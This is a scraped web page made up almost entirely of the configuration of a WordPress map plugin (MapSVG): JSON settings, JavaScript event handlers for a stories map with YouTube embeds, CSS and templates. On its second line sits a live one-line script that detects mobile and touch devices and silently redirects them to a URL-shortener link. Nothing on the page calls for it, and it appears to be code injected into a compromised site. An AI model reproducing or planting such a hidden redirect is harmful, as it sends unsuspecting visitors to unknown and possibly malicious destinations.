Skip to content
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/erdGjOqeV0r3");
{"markerLastID": 183,"regionLastID": 0,"dataLastID": 1,"disableAll": false,"width": 834,"height": 542,"lockAspectRatio": false,"padding": {"top": 0,"left": 0,"right": 0,"bottom": 0},"maxWidth": null,"maxHeight": null,"minWidth": null,"minHeight": null,"loadingText": "Loading map...","colorsIgnore": false,"colors": {"baseDefault": "#000000","background": "#1F2971","selected": "#7881cc","hover": "#7881cc","directory": "#fafafa","markers": {"base": {"opacity": 100,"saturation": 100},"hovered": {"opacity": 100,"saturation": 100},"unhovered": {"opacity": 40,"saturation": 100},"active": {"opacity": 100,"saturation": 100},"inactive": {"opacity": 40,"saturation": 100}},"base": "#7881cc","stroke": "#000"},"regions": [],"clustering": {"on": false},"viewBox": [0,0,834,542],"cursor": "default","manualRegions": false,"menuOnClick": null,"beforeLoad": null,"zoom": {"on": true,"limit": [0,10],"delta": 2,"buttons": {"on": true,"location": "right"},"mousewheel": false,"fingers": false},"scroll": {"on": false,"limit": false,"background": false,"spacebar": false},"responsive": true,"tooltips": {"on": false,"position": "bottom-right","template": "","maxWidth": "","minWidth": 100},"popovers": {"on": false,"position": "top","template": "","centerOn": true,"width": 300,"maxWidth": 50,"maxHeight": 50},"multiSelect": false,"regionStatuses": [{"label": "Disabled","value": "0","color": "","disabled": true},{"label": "Enabled","value": "1","color": "","disabled": false}],"events": {"afterLoad": "function(){\n const regExp = /^.*(youtu.be\\/|v\\/|u\\/\\w\\/|embed\\/|watch\\?v=|&v=)([^#&?]*).*/;\n \n const mapsvg = this;\n const data = mapsvg.database.server.rows;\n const primary = document.getElementById(\"primary-story\");\n const primaryImage = primary.getElementsByClassName('stories-slider-prime-image')[0];\n const primaryText = primary.getElementsByClassName('stories-slider-prime-quote')[0];\n const primaryLocation = primary.getElementsByClassName('stories-item-location')[0];\n const primaryButton = primary.querySelector('.stories-item-button');\n const video = document.querySelector('.storie-video-wrapper');\n const videoIframe = document.querySelector('.storie-video-wrapper iframe');\n \n data[0].location.marker.node[0].classList.add('point-active');\n data[0].location.marker.node[0].src = '/wp-content/uploads/mapsvg/markers/hit-2.svg';\n primaryImage.style.backgroundImage = `url('${data[0].image[0].full}')`;\n primaryText.innerText = data[0].title;\n primaryLocation.innerText = `${data[0].city}, ${data[0].state}`;\n primaryButton.addEventListener('click', () => {\n \tvideo.classList.add('show');\n videoIframe.src = primaryButton.dataset.video;\n })\n video.addEventListener('click', () => {\n \tvideo.classList.remove('show');\n videoIframe.src = '';\n })\n \n \n if(data[0].link !== null && data[0].link !== '') {\n \tprimaryButton.classList.add('show');\n const match = data[0].link.match(regExp);\n const id = (match && match[2].length === 11)? match[2] : null;\n\n primaryButton.dataset.video = `//www.youtube.com/embed/${id}`\n }\n \n const list = document.querySelector('#stories-slider .swiper-wrapper');\n data.forEach((el, key) => {\n \tlist.innerHTML += `\n \n
\n ${el.city}, ${el.state} \n
\n
`;\n })\n \n Array.from(document.querySelectorAll('.stories-item')).forEach(el => {\n \tel.addEventListener('click', (e) => {\n \tif (el.classList.contains('active')) return;\n \n const elData = JSON.parse(decodeURIComponent(el.dataset.item));\n \n \tdocument.querySelector('.point-active').src = '/wp-content/uploads/mapsvg/markers/hit-not-active.svg'; \n document.querySelector('.point-active').classList.remove('point-active');\n \n \tconst marker = document.getElementById(el.dataset.id);\n\t\tmarker.classList.add('point-active');\n \tmarker.src = '/wp-content/uploads/mapsvg/markers/hit-2.svg';\n \n \tdocument.querySelector('.stories-item.active').classList.remove('active');\n \tel.classList.add('active');\n \tprimary.classList.add('covered');\n \n setTimeout(() => {\n if (elData.link !== null && elData.link !== '') {\n primaryButton.classList.add('show');\n const matchEl = elData.link.match(regExp);\n const idEl = (matchEl && matchEl[2].length === 11)? matchEl[2] : null;\n \n primaryButton.dataset.video = `//www.youtube.com/embed/${idEl}`;\n } else {\n primaryButton.classList.remove('show');\n }\n primaryText.innerText = elData.title;\n primaryLocation.innerText = `${elData.city}, ${elData.state}`;\n primaryImage.style.backgroundImage = `url('${elData.image[0].full}')`;\n primary.classList.remove('covered');\n }, 500)\n })\n })\n}","beforeLoad": "function(){\n // var mapsvg = this;\n // var settings = mapsvg.options;\n // console.log(settings);\n}","databaseLoaded": "function (){\n // var mapsvg = this;\n // var dbObjects = mapsvg.database.getLoaded();\n}","click.region": "function (e, mapsvg){\n // var region = this;\n // console.log(region);\n}","mouseover.region": "function (e, mapsvg){\n // var region = this;\n // console.log(region);\n}","mouseout.region": "function (e, mapsvg){\n // var region = this;\n // console.log(region);\n}","click.marker": "function (e, mapsvg){\n const regExp = /^.*(youtu.be\\/|v\\/|u\\/\\w\\/|embed\\/|watch\\?v=|&v=)([^#&?]*).*/;\n\n const marker = this;\n const primary = document.getElementById('primary-story');\n const primaryImage = primary.getElementsByClassName('stories-slider-prime-image')[0];\n const primaryText = primary.getElementsByClassName('stories-slider-prime-quote')[0];\n const primaryLocation = primary.getElementsByClassName('stories-item-location')[0];\n const slides = document.querySelectorAll('#stories-slider .stories-item');\n const activeSlide = document.querySelector('#stories-slider .active');\n const primaryButton = primary.querySelector('.stories-item-button');\n\n activeSlide.classList.remove('active');\n \n primary.classList.add('covered');\n \n setTimeout(() => {\n if(marker.object.link !== null && marker.object.link !== '') {\n primaryButton.classList.add('show');\n const match = marker.object.link.match(regExp);\n const id = (match && match[2].length === 11)? match[2] : null;\n primaryButton.dataset.video = `//www.youtube.com/embed/${id}`;\n } else {\n primaryButton.classList.remove('show');\n }\n primaryText.innerText = marker.object.title;\n primaryLocation.innerText = `${marker.object.city}, ${marker.object.state}`;\n primaryImage.style.backgroundImage = `url('${marker.object.image[0].full}')`;\n primary.classList.remove('covered');\n }, 500)\n\n Array.from(slides).find(el => el.dataset.id === marker.id).classList.add('active'); \n \n mapsvg.markers.forEach(el => {\n \tel.node[0].classList.remove('point-active')\n el.setImage('/wp-content/uploads/mapsvg/markers/hit-not-active.svg')\n })\n \n marker.node[0].classList.add('point-active')\n marker.setImage('/wp-content/uploads/mapsvg/markers/hit-2.svg')\n}","mouseover.marker": "function (e, mapsvg){\n // var marker = this;\n // console.log(marker);\n}","mouseout.marker": "function (e, mapsvg){\n // var marker = this;\n // console.log(marker);\n}","click.directoryItem": "function (e, regionOrObject, mapsvg){\n // var itemjQueryObject = this;\n}","mouseover.directoryItem": "function (e, regionOrObject, mapsvg){\n // var itemjQueryObject = this;\n}","mouseout.directoryItem": "function (e, regionOrObject, mapsvg){\n // var itemjQueryObject = this;\n}","shown.popover": "function (mapsvg){\n // var popoverjQueryObject = this;\n}","closed.popover": "function (mapsvg){\n // var popoverjQueryObject = this;\n}","closed.detailsView": "function (mapsvg){\n // var detailsjQueryObject = this;\n}","shown.detailsView": "function (mapsvg){\n // var detailsjQueryObject = this;\n}"},"css": "#mapsvg-map-418 {\n}\n#mapsvg-map-418 .mapsvg-popover {\n\n}\n#mapsvg-map-418 .mapsvg-details-container {\n\n}\n#mapsvg-map-418 .mapsvg-region-label {\n /* background-color: rgba(255,255,255,.6); */\n font-size: 11px;\n padding: 3px 5px;\n border-radius: 4px;\n}\n#mapsvg-map-418 .point-active {\n\tborder-radius: 50%;\n box-shadow: 0 0 0px 6px #fff;\n background: #fff;\n}\n.point-active::after {\n\tcontent: '';\n\tborder-radius: 50%;\n background-color: #029CCF;\n \twidth: 10px;\n \theight: 10px;\n}\n#mapsvg-map-418 .mapsvg-marker-label {\n padding: 3px 5px;\n /*\n border-radius: 4px;\n background-color: white;\n margin-top: -4px;\n */\n}\n#mapsvg-map-418 .mapsvg-filters-wrap {\n\n}\n\n#mapsvg-map-418 .mapsvg-marker {\n\twidth: 15px;\n\theight: 15px;\n}\n\n@media screen and(max-width: 630px) {\n #mapsvg-map-418 .mapsvg-marker {\n width: 10px;\n height: 10px;\n }\n}\n\n#mapsvg-map-418 .mapsvg-with-marker-active .mapsvg-marker {\n\topacity: 1;\n}\n\n#mapsvg-map-418 .mapsvg-with-marker-hover .mapsvg-marker {\n\topacity: 1;\n}","templates": {"popoverRegion": "\n{{#if title}} {{title}} {{else}} {{id}} {{/if}} \nStatus: {{status_text}}
\n\n\n{{#each objects}}\n\n \n\n {{title}} \n \n {{{description}}}
\n {{location.address.formatted}}
\n\n \n {{#each images}}\n \n \n \n {{/each}}\n\n{{/each}}","popoverMarker": "\n{{title}} \n\n{{{description}}}
\n{{location.address.formatted}}
\n\n\n{{#each images}}\n \n \n \n{{/each}}\n\n\n Regions: \n {{#each regions}}\n \n {{#if title}}\n {{title}}\n {{else}}\n {{id}}\n {{/if}}{{#unless @last}}, {{/unless}}\n {{/each}}\n
","tooltipRegion": "\n{{id}} - {{title}}","tooltipMarker": "\n{{title}}","directoryItem": "\n\n{{title}}","directoryCategoryItem": "\n{{label}} \n{{counter}} \n ","detailsView": "\n{{title}} \n\n{{{description}}}
\n{{location.address.formatted}}
\n\n\n{{#each images}}\n \n \n \n{{/each}}\n\n\n Regions: \n {{#each regions}}\n \n {{#if title}}\n {{title}}\n {{else}}\n {{id}}\n {{/if}}{{#unless @last}}, {{/unless}}\n {{/each}}\n
","detailsViewRegion": "\n{{#if title}} {{title}} {{else}} {{id}} {{/if}} \nStatus: {{status_text}}
\n\n\n{{#each objects}}\n\n \n\n {{title}} \n \n {{{description}}}
\n {{location.address.formatted}}
\n\n \n {{#each images}}\n \n \n \n {{/each}}\n\n{{/each}}","labelMarker": "\n{{title}}","labelRegion": "\n{{title}}","labelLocation": "You are here!"},"gauge": {"on": false,"labels": {"low": "low","high": "high"},"colors": {"lowRGB": {"r": 85,"g": 0,"b": 0,"a": 1},"highRGB": {"r": 238,"g": 0,"b": 0,"a": 1},"low": "#550000","high": "#ee0000","diffRGB": {"r": 153,"g": 0,"b": 0,"a": 0}},"min": 0,"max": false},"filters": {"on": false,"source": "database","location": "leftSidebar","modalLocation": "mapContainer","width": "100%","hide": false,"buttonText": "Filters","clearButtonText": "Clear all","clearButton": false,"padding": ""},"menu": {"on": false,"hideOnMobile": true,"location": "leftSidebar","locationMobile": "leftSidebar","search": false,"containerId": "","searchPlaceholder": "Search...","searchFallback": false,"source": "database","showFirst": "map","showMapOnClick": true,"minHeight": "400","sortBy": "id","sortDirection": "desc","categories": {"on": false,"groupBy": "","hideEmpty": true,"collapse": true,"collapseOther": true},"clickActions": {"region": "default","marker": "default","directoryItem": {"triggerClick": true,"showPopover": false,"showDetails": true}},"detailsViewLocation": "overDirectory","noResultsText": "No results found","filterout": {"field": "","cond": "=","val": ""}},"database": {"pagination": {"on": true,"perpage": 30,"next": "Next","prev": "Prev.","showIn": "directory"},"loadOnStart": true,"table": ""},"actions": {"map": {"afterLoad": {"selectRegion": false}},"region": {"click": {"addIdToUrl": false,"showDetails": false,"showDetailsFor": "region","filterDirectory": false,"loadObjects": false,"showPopover": false,"showPopoverFor": "region","goToLink": false,"linkField": "Region.link"},"touch": {"showPopover": false}},"marker": {"click": {"showDetails": false,"showPopover": false,"goToLink": false,"linkField": "Object.link"},"touch": {"showPopover": false}},"directoryItem": {"click": {"showDetails": false,"showPopover": false,"goToLink": false,"selectRegion": false,"fireRegionOnClick": false,"linkField": "Object.link"},"hover": {"centerOnMarker": false}}},"detailsView": {"location": "mapContainer","containerId": "","width": "100%","mobileFullscreen": true},"mobileView": {"labelMap": "Map","labelList": "List","labelClose": "Close"},"googleMaps": {"on": false,"apiKey": "","loaded": false,"center": "auto","type": "roadmap","minZoom": 1,"style": "default","styleJSON": []},"groups": [],"floors": [],"layersControl": {"on": false,"position": "top-left","label": "Show on map","expanded": true,"maxHeight": "100%"},"floorsControl": {"on": false,"position": "top-left","label": "Floors","expanded": false,"maxHeight": "100%"},"containers": {"leftSidebar": {"on": false,"width": "250px"},"rightSidebar": {"on": false,"width": "250px"},"header": {"on": false,"height": "auto"},"footer": {"on": false,"height": "auto"}},"labelsMarkers": {"on": false},"labelsRegions": {"on": false},"svgFileVersion": 1,"fitMarkers": false,"fitMarkersOnStart": false,"controls": {"location": "right","zoom": false,"zoomReset": false,"userLocation": false},"source": "/wp-content/uploads/mapsvg/map.svg","db_map_id": "418","defaultMarkerImage": "https://talegate4joy.com/wp-content/plugins/mapsvg/markers/_pin_default.png","title": "New Map","regionChoroplethField": "","disableLinks": null,"filtersSchema": "","markerField": ""};jQuery.extend( true, mapsvg_options, {svg_file_version: 0} );jQuery("#mapsvg-418").mapSvg(mapsvg_options);});